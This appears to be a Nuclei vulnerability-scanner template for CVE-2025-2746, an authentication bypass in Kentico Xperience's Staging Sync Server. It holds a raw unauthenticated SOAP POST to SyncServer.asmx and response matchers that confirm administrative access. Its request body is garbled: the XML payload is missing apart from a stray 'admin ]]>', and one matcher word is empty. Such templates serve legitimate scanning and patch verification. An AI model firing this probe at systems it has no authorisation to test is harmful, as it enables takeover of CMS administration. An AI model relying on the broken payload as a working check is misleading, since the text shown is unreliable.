id: CVE-2025-2746 info: name: "Kentico - Authentication Bypass" author: vedas-arpsyndicate severity: critical description: | An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync Server password handling of empty SHA1 usernames in digest authentication. Authentication bypass allows an attacker to control administrative objects.This issue affects Xperience through 13.0.172. reference: - https://www.exploit.observer/?keyword=CVE-2025-2746&match=exact - https://subdomain.center/?engine=ammonites&keyword=kentico&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-2746 cwe-id: CWE-287 metadata: verified: false tags: cve,cve2025,kentico,stag,auth-bypass,xperience13,vuln,kev,vkev variables: rand: "{{to_lower(rand_text_alpha(32))}}" http: - raw: - | POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: text/xml; charset=utf-8 SOAPAction: http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData admin ]]> matchers-condition: and matchers: - type: word part: body words: - "{{rand}}" - "" condition: and - type: word part: body words: - "Site not running" - "SyncServer.ErrorLicense" - "SyncServer.ErrorServiceNotEnabled" - "Staging service is not enabled on this server" - "Staging does not work with blank password" - "Missing X509 certificate token" - "The security token could not be authenticated or authorized" condition: or negative: true - type: word part: content_type words: - "text/xml"